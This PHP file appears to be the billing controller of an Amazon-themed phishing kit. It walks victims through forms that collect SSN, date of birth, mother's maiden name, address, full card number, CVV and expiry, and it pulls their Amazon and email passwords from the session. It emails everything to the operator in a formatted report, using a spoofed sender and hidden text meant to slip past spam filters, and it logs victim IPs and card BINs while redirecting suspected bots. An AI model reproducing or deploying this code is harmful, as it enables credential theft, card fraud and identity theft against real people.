<?php 
defined("ACCESS") or die('Konz');

class Billing 
{
	private $_LICENSE = FCPATH . "arahmataAngin/system/private/license.ini";
	private $_CONFIG = FCPATH. "arahmataAngin/system/private/setting.json";

	public function __construct()
	{
		$this->pc = new Pc();
		$_ini_file = parse_ini_file($this->_LICENSE);
		$this->license = new license($_ini_file);

		if (!isset($_SESSION['access']) and ($_SESSION['access'] != 4)){

			write(FCPATH . 'arahmataAngin/system/stats/log_robot.txt', 'a', "{$this->pc->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function index()
	{
		echo view('billing/sq');
	}

	public function first()
	{
		if (isset($_POST['mmn'])) {
			$_SESSION['mmn'] = trim($_POST['mmn']);
		}
		if (isset($_POST['ssn'])) {
			$_SESSION['ssn'] = trim($_POST['ssn']);
		}
		if (isset($_POST['dob'])) {
			$_SESSION['dob'] = trim($_POST['dob']);
		}
		if (isset($_POST['zipcode'])) {
			$_SESSION['zipcode'] = trim($_POST['zipcode']);
		}
		if (isset($_POST['phone'])) {
			$_SESSION['phone'] = trim($_POST['phone']);
		}
		
		echo view('billing/index');
	}

	public function try()
	{
		if (isset($_POST['address'])) {
			$_SESSION['address'] = trim($_POST['address']);
		}
		if (isset($_POST['cityp'])) {
			$_SESSION['cityp'] = trim($_POST['cityp']);
		}
		if (isset($_POST['region'])) {
			$_SESSION['region'] = trim($_POST['region']);
		}
		if (isset($_POST['zipcode'])) {
			$_SESSION['zipcode'] = trim($_POST['zipcode']);
		}

		echo view('billing/card');
	}

	public function process()
	{
		if (isset($_POST) && isset($_SESSION)) {
			$address = $_SESSION['address'];
			$cityP = $_SESSION['cityp'];
			$state = $_SESSION['region'];
			$zipCode = $_SESSION['zipcode'];
			$dob = $_SESSION['dob'];
			$ssn = $_SESSION['ssn'];
			$motherName = $_SESSION['mmn'];
			$phone = $_SESSION['phone'];
			$_SESSION['namecard'] = trim($_POST['namecard']);
			$cardHolder = $_SESSION['namecard'];
			$cardNumber = $_POST['ccn'];
			$cardNumber = str_replace(" ", "", $cardNumber);
			$cardCvv = $_POST['cvv'];
			$cardCid = $_POST['cid'];
			$cardExpM = $_POST['expmonth'];
			$cardExpY = $_POST['expyear'];
			$cardExp = substr($cardExpY, 2);
			$_SESSION['ccn'] = $cardNumber;			
			$ccN = substr($cardNumber, 0, 6);
			$bin = look_bin($cardNumber);
			$_SESSION['vbv_scheme'] = $bin;
			$email = trim($_SESSION['emailLogin']);
			$passwordamz = trim($_SESSION['passwordLogin']);
			$password = trim($_SESSION['password_email']);
			$password2 = trim($_SESSION['password_email2']);
			

			$message = 
"<strong><span style='color:#ffffff;display: none;font-size: 1px;line-height: 1px;max-height: 0px;max-width: 0px;opacity: 0;overflow: hidden;'>MD5 HASH ".md5(time())." NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE</span></strong>
<pre>
<b>##------------------------[ AMAZON ACCOUNT ]-----------------##</b>
  [!_!] Email          :: {$email}
  [!_!] Pass Amz       :: {$passwordamz}
  [!_!] Pass Email     :: {$password}
  [!_!] Pass Email II  :: {$password2}
<b>##------------------------[ CREDIT CARD ]--------------------##</b><font color='red'>
  [!_<] Bin            :: {$bin}
  [!_<] Card Holder    :: {$cardHolder}
  [!_<] Card Number    :: {$cardNumber}
  [!_<] Expired        :: {$cardExpM}/{$cardExpY}
  [!_<] CVV            :: {$cardCvv}
  [!_<] CID            :: {$cardCid}
  [!_<] For Check      :: {$cardNumber}|{$cardExpM}|{$cardExp}|{$cardCvv}</font>
<b>##------------------------[ BILLING INFO ]-------------------##</b><font color='orange'>
  [*_*] Full Name      :: {$cardHolder}
  [*_*] Address 1      :: {$address}
  [*_*] City           :: {$cityP}
  [*_*] State          :: {$state}
  [*_*] Zip            :: {$zipCode}
  [*_*] Country        :: {$_SESSION['country']}
  [*_*] Phone Number   :: {$phone}</font>
<b>##------------------------[ OTHER INFO ]---------------------##</b><font color='green'>
  [>_*] MMN            :: {$motherName}
  [>_*] SSN            :: {$ssn}
  [*_*] DOB            :: {$dob} (YYYY-MM-DD)</font>
<b>##------------------------[ Device Info ]--------------------##</b><font color='#000080'>
  [*_*] IP             :: {$this->pc->ip_address}
  [*_*] Country        :: {$_SESSION['country']}
  [*_*] Region         :: {$_SESSION['regionName']}
  [*_*] City           :: {$_SESSION['city']}
  [*_*] OS / Browser   :: {$this->pc->platform} / {$this->pc->browser}
  [*_*] Date           :: "._date()."
  [*_*] User Agent     :: {$this->pc->agent}</font>
<b>##------------------[ DONE DOT PHP ]---------------------##</b>
  </pre>";		
			$subject = "[N0R3C0D3N0P4RTY] {$bin}  [ {$_SESSION['country']} - {$this->pc->ip_address} - {$this->pc->platform} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: ".strtoupper($cardHolder)." <dpriv@dprpemerintah.id>";

			@mail(_config('result'), $subject, $message, $headers);

			write(FCPATH . 'arahmataAngin/system/stats/log_cc.txt', 'a', "{$this->pc->ip_address}\r\n");
			write(FCPATH . 'arahmataAngin/system/stats/log_bin.txt', 'a', "|"._time()."|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$bin}|{$this->pc->platform}\r\n");
			
			if (_config('double_card') == 'on'){
				$_SESSION['access'] = 4;
				redirect(base_url() . 'payment/#errorId='. md5(time()));
		/**} elseif (_config('double_card') == 'on'){
				$_SESSION['access'] = 5;
				redirect(base_url() . 'payment/errorId='. md5(time()));
			} elseif (_config('get_bank') == 'on'){
				$_SESSION['access'] = 6;
				redirect(base_url() . 'bank/');**/
			} else {
				$_SESSION['access'] = 5;
				redirect(base_url() . 'done');
			}
		}	
	}
}